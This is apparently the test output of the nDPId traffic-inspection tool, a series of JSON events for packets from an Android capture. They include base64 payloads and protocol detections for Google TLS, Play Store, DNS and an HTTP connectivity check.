+01965{"flow_id":46,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":230120,"pkt_caplen":1202,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1202,"pkt_l4_len":1168,"pkt":"TGr2n\/YnxiwDYGpkCABFAASk2k0AAHUGpObY7yZ4wKgCEAG7gOSVNFPTzGrtI4AYAPAW3AAAAQEICsgECR3\/\/zbjU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjAeFw0xNzA2MTUwMDAwNDJaFw0yMTEyMTUwMDAwNDJaMEIxCzAJBgNVBAYTAlVTMR4wHAYDVQQKExVHb29nbGUgVHJ1c3QgU2VydmljZXMxEzARBgNVBAMTCkdUUyBDQSAxTzEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDQGM9F1IvN05zkQO9+tN1pIRvJzzyOTHW5DzEZhD2ePCnvUA0Qk28FgICfKqC9EksC4T2fWBYk\/jCfC3R3VZMdS\/dN4ZKCEPZRrAzDsiKUDzRrmBBJ5wudgzndIMYcLe\/RGGFl5yODIKgjEv\/SJH\/UL+dEaltN11BmsK+eQmMF++AcxGNhr59qM\/9il71I2dN8FGfcddwuaej4bXhp0LcQBbjxMcI7JP0aM3T4I+DsaxmKFsbjzaTNC9uzpFlgOIg7rR25xoynUxv8vNmkq7zdPGHXkxWY7oG9j+JkRyBABk7XrJfoucBZEqFJJSPk7XA0LKW0Y3z5oz2D0c1tJKwHAgMBAAGjggEzMIIBLzAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0OBBYEFJjR+G4Q68+b7GCfGJAboOt9Cf0rMB8GA1UdIwQYMBaAFJviB1dnHB7AagbeWbSaLd\/cGYYuMDUGCCsGAQUFBwEBBCkwJzAlBggrBgEFBQcwAYYZaHR0cDovL29jc3AucGtpLmdvb2cvZ3NyMjAyBgNVHR8EKzApMCegJaAjhiFodHRwOi8vY3JsLnBraS5nb29nL2dzcjIvZ3NyMi5jcmwwPwYDVR0gBDgwNjA0BgZngQwBAgIwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly9wa2kuZ29vZy9yZXBvc2l0b3J5LzANBgkqhkiG9w0BAQsFAAOCAQEAGoA+Nnn78y6pRjd9XlQWNa7HTgiZ\/r3RNGkmUmYHPQq6Scti9PEajvwRT2iWTHQr02fesqOqBY2ETUwgZQ+lltoNFvhsO9tvBCOIazpswWC9aJ9xju4tWDQH8NVU6YZZ\/XteDSGU9YzJqPjY8q3MDxrzmqepBCf5o8mw\/wJ4a2G6xzUr6Fb6T8McDO22PLRL6u3M4Tzs3A2M1j6bykJYi8wWIRdAvKLWZu\/axBVbzYmqmwkm5zLSDW5nIAJbELCQCZwMH56t2Dvqofxs6BBcCFIZUSpxu6x6td0V7SvJCCosirSmIatj\/9dSSVDQibet8q\/7UK4v4ZUN80atnZz1yhYDAwB0DAAAcAMAHSDeeqx9\/JOnXxCC5pZb8ZnoTJtcJSCnrdu9k9netQrvdQQDAEgwRgIhAK+r86lTqB4MRqt+Pyfm6s11BmhMnbnSgVOyTE1BuE17AiEAxIkQIYXvt3sIPutT+8bV7nV6iGZkX87vaDgjg4Y1AhsWAwMABA4AAAA="} +01029{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":261,"source":"android.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":7,"flow_first_seen":1582454871152,"flow_last_seen":1582454871230,"flow_tot_l4_data_len":2974,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":424,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32996,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.google.com","server_names":"www.google.com","ja3":"6ec2896feff5746955f700c0023f5804","ja3s":"eca9b8f0f3eae50309eaf901cb822d9b","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Google Trust Services, CN=GTS CA 1O1","issuerDN":"C=US, ST=California, L=Mountain View, O=Google LLC, CN=www.google.com","alpn":"http\/1.1","fingerprint":"32:07:6C:9F:96:7D:CE:82:15:C6:C5:7B:49:90:53:A1:CF:80:4F:B0"}} +00428{"flow_id":46,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":234667,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA02rxAAEAGnefAqAIQ2O8meIDkAbvMau0jlTRT04AQAWKF9wAAAQEICv\/\/NuzIBAkd"} +00428{"flow_id":46,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":234949,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA02r1AAEAGnebAqAIQ2O8meIDkAbvMau0jlTRYQ4AQAW2BfAAAAQEICv\/\/NuzIBAkd"} +02349{"flow_id":41,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":237524,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+brkAAHYGDmHY7yZ4wKgCEAG7gNxV\/jlFOJTMy4AQAPDiegAAAQEICibnXzD\/\/zblFgMDAHoCAAB2AwP9hhPvnJHsHwgbuB\/a12nYXFCLjZb+es2RITJfoZRhNiCC4Pfhq3JTS\/EIU4w5K41jaeqfs8B1xjYOKn01wppgBxMBAAAuADMAJAAdACDI9NmE7LsMgMdDQ\/xYQXylhs4qqJbymZX5d58CzKA9RgArAAIDBBQDAwABARcDAw4yhwbtAtoR\/a4xBK+O1BWDVt+21PZyVxWMqfhWUllj+XC42iKmRYz6Ew1Cdj04IUlKaq7oU9gQBkinQ2J87TkYzp3hMr+DojF19eU6ntn1BC5fVs3Y5xOH24Rjivc03t2pBaQM0Hb0XqLA2nn6obpTdDBqE+AyZ6lsSnOHlQJ1XjlZ3Pbs9FLpwfcmvmmG\/Id2P+LfRFob+\/3tm8mv9Uq0FvRTWH5Kuh+Xn\/+0EguwtZnd31JYmlTNT4uqMSWQfa6iCDtOBB4vYY33\/8WeBY2Ly8aceD97fKeLXxt8sm\/2EFlSRxTZAs1tOnKHXlFKTHMRv1itUCR99Xr0779cB35os1cBxRTLTpB9vjphPAX3nEyXI2mmKTZ5aYzKUnGIw2N6h2L4g8YRNtPCisTUzaf+uPn9oy9bYnlAeWuGzzr0tx18zNZbokF3rwBQi6XRsDigR6rZeLCH5rPR8eK0nYnTFFXbqJ7\/wW97+LBp+L76D5wUriJyJ3SS+nfVyJVMK19mZYV32qrxtA6hoWzZEqSq\/i4s2fub5YVkgyh8SeL9QW6RVLWsz6bcxcn+e6vYf0DofJgLy69GzdCurDH+ZRStWz+ndem34bIWVbYkx5XxvitFkLd9+85iIor\/q0ZtrSwmyqMpXA5P6gCQv02WmWopprUIPCEMScqpGAvQLjIlyAlezFgo2sIP6H5rtNzN7Smb1KbcPsiyNx2NsvHsRODx73Y6Osbeo0SKygmsh6kT9UiIFmiAUP9orghjMv4k3bLYltUyU1SCEAO1PX2NbNkaDRzCu5CHym8PfgUQfUAISpR88ZjUnFakkpvK0bM5l2Q5D2ZkMFg\/oWOV7ZJw5eGPAm1bfV72Ad6coTcz7VtCnga3gOufjTnCtNkpmkg5UUqPc6THPttlbYYkmtDnRWA86I\/Oq8ECtno5VNXj8J2ABVusp0oRAAvhKrnvdicUzHbsqhH8R4bwa+O90uoysJxEMoTUglCn5+S7pyQ0E6KUV0odKTmY\/yad5iKLruMqCCNn0kgFDmWDm6FRx\/JvsHj2sudKoOH9\/A2arSwSH4CKWHzVJhx8WGKfN2Ryjl8l+QUEXZa02weDaMchrls21CCnCYy7HSvd6oSJX6+1mCShaEgxLp3R8QV3L5HIaJW\/5SGkhn+SJCW71ZbBgpmZ0TBzoQW2c5Iwn3sCa0FL0FZnNp8lEc8pGkQdyl7qCJbBvyh79oue\/7IQj5M8FP4xalqQgpLehisDlE+dWlAjYtVcn2EmOVPBzLDFKVtgFxI2AEAz0mxg1P5tNIAlfauGUnxcPoh0P5hWs3wERy8iLMHgjiHIM54rIJI2XbY3r1VM2Hu75nCkVi3PUyIJtvhmjnRl41F1qrwfuZXDnhnIodUiOTY6ZcEw5OSMH\/x9uZ6Pz1HlJoebmmaDZmCC4GgjyS7hnaMbG1n2bsxKXdC+TKGZo9wc7\/NfTLYjMwAc3bS2V+yjpMW2Ur6z6MrGiT3heyj4ZlMaB7Lr6jVjkQSMZJLW0OlQi5EpmQFIPqb9MeInydeKvdUdpswe7zfVzkcDaSl5Vbi3j9PYijQ+3OHprcNAZmJLNiwSAbLaXJBkjsxcud3mUUBQT9LzhRtEIV0b\/OsUBIrccjzWJUGosM5fbRjY2nQxYg10UGkKzfpb3m8Rv1K8Cc02WawPivFiB1FdnpCrNg0cZEy66Tp9gulwcGa58qs="} +00880{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":264,"source":"android.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":6,"flow_first_seen":1582454871069,"flow_last_seen":1582454871237,"flow_tot_l4_data_len":2143,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":357,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32988,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.PlayStore","breed":"Safe","category":"SoftwareUpdate"},"tls": {"version":"TLSv1.3","client_requested_server_name":"android.clients.google.com","ja3":"9c815150ea821166faecf80757d8826a","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02358{"flow_id":41,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":237552,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+broAAHYGDmDY7yZ4wKgCEAG7gNxV\/j7POJTMy4AQAPB1RAAAAQEICibnXzD\/\/zbl8kB0BU\/LoX9fP25axRi6mg+jrwjfAAdasFgcXjDqwFVU6VaTsul2cnbxO5J0BWqduNiWF+j9+9iksv2bjEvLQ6yzljqQdm3jGQ1SDSX7\/pVyt5tuz3NriQ3W6bekKGbTIZMSYTsb1XEZYrH6zvaRdlj5gFn4cIS7cibqVfQn9vQ1\/QdvzdVMEPQeNlyJ69YvLM\/e6yF1yKSyUJyEBsy41kvDL9mYCqm4SzrNP29Sx58fWJHNxdY3po7NaURYW8jnDoLXyzojO5c6Ng0uDC\/60Eql8TR42dVqT+CwpWu70Y3JD8s+o6KH7zPddPyrxSzRUoqiuRkE7bSE97RRz1+C3fxR7ooMYJ4sf0Lq0mR3XFAkZqAHSFUxx06S4q5iBRaq+MSiaJR9yJaPtODtMCp0v+ncelXeEuZyKaFBW2wXbNnX1oJmdN3dcyskJZXgq6tohkMC9BLM9eI1N8IUav7SIgh4FtZBoYJq25wiGjzjc7GzEUqs4N2JPWdKfdD9y8Lcv+NSYOtZY0bN3A0eNy4WnLDm7Spbc\/xi69F2X9s7EKcd3OyLM\/Q0Zl2Ol5qvjVDNu3LPsvDriS0h5Hnnvm+JYQeaZn5SPDpdYkGIhI9R\/VkSp2WrTqqlMC4NbXXxiK9X+z4GGXa78QmMRgex1xcCLDGB2zRvdeHu+Rwt8pdfEVdtCfOn4sXtRCNk+8fu8fg7GikzNSpc3w7KoqLdhfymIFg1hXZAhp8jD2PHPDpfFjt67kxKAEOHFprggf5L7jojuhTlxMgonaRPEKwnWJ2p2+wDmyvLzHB1GwHTv6VBWdsJqDnYLKPw9K7F+q1\/l2MQe6smPKOMPN3tRhWelrPHc2u\/6X\/ZOCzD\/TP1EX+hjPKaQz8+ayjsqCarYlbE2SbLEO3BsnWPpL7ZwBtrt41EFmrrvsYQ+x6P+ZaGkC0AUIF0h4HJJeu0ZEye6RSjn4m0ECmrjKfbi2yn8Ci+HDQFRdew\/Gr8uvOhWTqiKBkC7viSxMf0pjcXrJcmIWAfvKEGEimAdd4ZRwk0oE\/hC0TOrhdbwMPI7We\/c96IKsu7IhmvwjLU5w9exrihf7D+cgPpYgaxU3IcWJ\/IDKh5kMgiF5prSZPoC1KwpIoonSBqAsWeWrxIqwmjAqVT1ly1nrlSPZESYlcCqOLu1ErspULpxnjW2X3UxcBYcuIEOUqNEdvePKDDHQzzFdeDaI2z319DUR9jSDNK7BYwjCJIRxC5VvtP9OG2gV99uPNS6mCRUinynLHcz4hbafoU\/8DVgx\/QAEMSsTQoEYLZ1AV+1XCj9\/YewzH8ZJ7bJLsr1F8vxn2S3DdMyeSgxpA\/dYf2Qg4yHOTnhQ2+PE\/3oQVDD5hiQ8utO6X80v8MyHyoa+Kj81JDoH1CDyFp6iEN8kdCHfnBJtLfd+FYm52oJ8tks0C2JS5QB6qhh6PZElobgOutpvt9\/XUEKdjVnKniKiodRHqi7IJWliT4mMxAtgWznIIVuOzh9576xUmD9xvSyIewQ80V3xbGLKbR0gzVqRADKPpWvV4mA+i7vzQfM8xf5BMhlDBtKghWenh6kePLk8YQp1PBgU+Geafh+ibgiexxOWUocGyie2bHdCm4Sd\/Sd4Zbj\/\/71IiuJhG1r05bIBj8UY3KLzOlGJQnys9UvUqZs1S\/lR4cJ1Uf8duJ\/Fds6X3vr1Wtk7wxcj4I\/bRAmAbK5gage6cci5bla6T02NoyXVYGfTMrehYWh5tznIXiY5QZMVye9xkY36qPYMccHG2Iu8b268aQHUjlTFqjJ6YQuD6m41O0\/w2ONbwRAh0a0TZbjVFDX4OD1Yi3FOmctBmhA2iTCi3gt5Wkla1Smvb295ZJlocnhekhhhHZ\/GT4jV57FRRRGiSPtfx\/eeQ="} +01701{"flow_id":41,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":266,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":237652,"pkt_caplen":1002,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1002,"pkt_l4_len":968,"pkt":"TGr2n\/YnxiwDYGpkCABFAAPcbrsAAHYGEEHY7yZ4wKgCEAG7gNxV\/kRZOJTMy4AYAPCVYgAAAQEICibnXzD\/\/zblchfFAXewEzSV9HqufTsjhhEhtQ2RH1RAurqQ1J9cck46jI5nBzwm0C3F567qNX2QEjSFfQyRqAt6N3JdzKQFggApY6Yn9t2auMT7iqa78WxWCAWhSSUOPv5pY6cUlwhNs2Zg3cUKaDOyHidEplqt1h1nBn7aPLNPWOpL87Y4PPwpW\/+he3l3P87csp6LH4WtTQpqwWFJuaMjuajdhprFFpgXBJfL4EUjDqf\/oM0FwpO+rCfCSaUEWdHckF3qnHDCkb3ognd8X3L27+Pb8EW5mfeVEyquSCGX8DnXdumAHikx4qeuP2lhPRWfUqyKTWxkXkM\/a1sgqp+fBumTxzV7E3Gqg4QI2AVrE8iAPmORHrWkdpEmBzn3VtyeYWKpB\/gNbp6TPcxg18YxEuzFCuiqcI\/4FSQm1gNzNS+J9Z8J12c2QDszTktXlKt7TEMUYX1i0v2sBJhoqn6sE2kdWqTSpn5t55GsAxbS+\/lkpRqQtwCTKfR\/XZQx0cYrQ8fWxuAYg+G0\/aB91K0OVRvYEWmz\/t9JSAoFIySHAC0pTEWMD1y48mxiGne4HMup200flUz8jq2+Xa+bKaNeFzQ\/qqKid\/qU72O+7ZyKuUVIrFh21AWZCcO0fT7WgD1hkyMHndbHh\/U3SEh7bjgpnNsuIz12cDXa5IevNulHdT9lA1V\/oePl6ERSZ65+5xVaAI+s+k8sdMkqY+jfOg\/VVhazC+N365uyi1UdlYPhHmxa3xGIMrsAg7N5PI7HK8rLesN51vHtGsjJYNdFnaWbpJpHhD7CdLTB\/PaySnw3k6JdNaqXmEWOLI0442KxuGKsjoVUNE7EKSYdNC5kXc39zM7g4BtnVyRw6ZGT+nR4BHBmZ0YGl3IhPZ05vbMP9y64O8auGfXFPRKxj\/LJg4m5\/gXEdERjxJTnDsCxJET7oCBaUUPkylnt8VoHxhmEyND516YxH72ZLQi3LXCXIACdhs38rcGdMiHDxLTxiaeK0cMcOAAxE3U5AWEyutGmC1EXL4sKEY8+i96Dy3j76GHc6lhgazVoWttA819etuegE\/QURS54qtmIF8hFO7MT6TtQ7E+2qHHzeAXOSaF4EcYk1XGCb7i4VPRrJ2Xz+TIi\/JJuR1KT+AzE+5yu7C669IAKSkidYBRqn2XVeUGVRQoMLjpoIiypD88G8gMxWDAi5ZGtNfvzNDGUOsXtoVjiZ2Jfhhd8ssAS32Un36JTuN9XrK4bwS6TDuEMCTefBcYT"} +00429{"flow_id":41,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":240784,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0\/ApAAEAGfJnAqAIQ2O8meIDcAbs4lMzLVf4+z4AQAWLZcQAAAQEICv\/\/Nu0m518w"} +00430{"flow_id":41,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":241307,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0\/AtAAEAGfJjAqAIQ2O8meIDcAbs4lMzLVf5EWYAQAW3T3AAAAQEICv\/\/Nu0m518w"} +00430{"flow_id":41,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":241362,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0\/AxAAEAGfJfAqAIQ2O8meIDcAbs4lMzLVf5IAYAQAXjQKQAAAQEICv\/\/Nu0m518w"} +00519{"flow_id":42,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":264180,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"xiwDYGpkTGr2n\/YnCABFAAB0xA5AAEAGtFXAqAIQ2O8meIDeAbsJrvTSIL850oAYAXj6uAAAAQEICv\/\/NvNclUiaFAMDAAEBFwMDADXphCLNpI1gUCv08CVDDhCS3vb4M90om4x3uX0gnJ8HzXozLxHgey1xT19EPJNX9LKDpskIxQ=="} +00828{"flow_id":43,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":272515,"pkt_caplen":363,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":363,"pkt_l4_len":329,"pkt":"xiwDYGpkTGr2n\/YnCABFAAFdRuVAAEAGMsnAqAIQrcJPco\/iAFBu6HFSJij2PYAYAVupDgAAAQEICv\/\/NvXBhPAIR0VUIC9jb25uZWN0IEhUVFAvMS4xDQpIb3N0OiBjaGVjay5nb29nbGV6aXAubmV0DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoTGludXg7IEFuZHJvaWQgOTsgTm9raWEgMi4yKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNzkuMC4zOTQ1LjkzIE1vYmlsZSBTYWZhcmkvNTM3LjM2DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkFjY2VwdC1MYW5ndWFnZTogaXQtSVQsaXQ7cT0wLjksZW4tVVM7cT0wLjgsZW47cT0wLjcNCg0K"} +00520{"flow_id":38,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":276284,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"xiwDYGpkTGr2n\/YnCABFAAB03xJAAEAGmVHAqAIQ2O8meIDaAbu5DOu2\/LuVV4AYAXg1rQAAAQEICv\/\/NvaJFIAOFAMDAAEBFwMDADXVRmSdtYV84rUYgscB7KZOxlHItd3y5xaAQ8+97H62qRsrr9NPFJFj45mvi9FpX6MWKxOldg=="} +00429{"flow_id":42,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":279443,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0NsIAAHcGSuLY7yZ4wKgCEAG7gN4gvznSCa71EoAQAPD7CgAAAQEIClyVSS7\/\/zbz"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":274,"source":"android.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1582454871292,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":46359,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":292222,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"xiwDYGpkTGr2n\/YnCABFAABBq9RAAEARCXbAqAIQwKgCAbUXADUALUF1Da4BAAABAAAAAAAACGFjY291bnRzBmdvb2dsZQNjb20AAAEAAQ=="} +00638{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":274,"source":"android.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1582454871292,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":46359,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"accounts.google.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00429{"flow_id":38,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":293161,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA04csAAHcGn9jY7yZ4wKgCEAG7gNr8u5VXuQzr9oAQAPC5SQAAAQEICokUgKz\/\/zb2"} +00466{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":276,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":294121,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"TGr2n\/YnxiwDYGpkCABFAABRfN0AAEAReF3AqAIBwKgCEAA1tRcAPWwTDa6BgAABAAEAAAAACGFjY291bnRzBmdvb2dsZQNjb20AAAEAAcAMAAEAAQAAANoABNjvJng="} +00666{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":276,"source":"android.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":2,"flow_first_seen":1582454871292,"flow_last_seen":1582454871294,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":45,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":46359,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"accounts.google.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"216.239.38.120"}} +01043{"flow_id":43,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":277,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":307313,"pkt_caplen":524,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":524,"pkt_l4_len":490,"pkt":"TGr2n\/YnxiwDYGpkCABFAAH+3nIAAGcGs5qtwk9ywKgCEABQj+ImKPY9buhye4AYAP2uDwAAAQEICsGE8Jb\/\/zb1SFRUUC8xLjEgMjAwIE9LDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KQWNjZXNzLUNvbnRyb2wtRXhwb3NlLUhlYWRlcnM6IFZpYSwgWC1PcmlnaW5hbC1Db250ZW50LUxlbmd0aCwgQ2hyb21lLVByb3h5DQpDb250ZW50LUxlbmd0aDogMw0KRGF0ZTogU3VuLCAyMyBGZWIgMjAyMCAxMDo0Nzo1MSBHTVQNClByYWdtYTogbm8tY2FjaGUNCkV4cGlyZXM6IEZyaSwgMDEgSmFuIDE5OTAgMDA6MDA6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZSwgbm8tc3RvcmUsIG11c3QtcmV2YWxpZGF0ZQ0KTGFzdC1Nb2RpZmllZDogVGh1LCAyMSBBcHIgMjAxNiAwMzoxNzoyMiBHTVQNClgtQ29udGVudC1UeXBlLU9wdGlvbnM6IG5vc25pZmYNClNlcnZlcjogc2ZmZQ0KWC1YU1MtUHJvdGVjdGlvbjogMA0KDQpPSwo="} +00431{"flow_id":43,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":308565,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0RuZAAEAGM\/HAqAIQrcJPco\/iAFBu6HJ7Jij4B4AQAV88kQAAAQEICv\/\/Nv7BhPCW"} 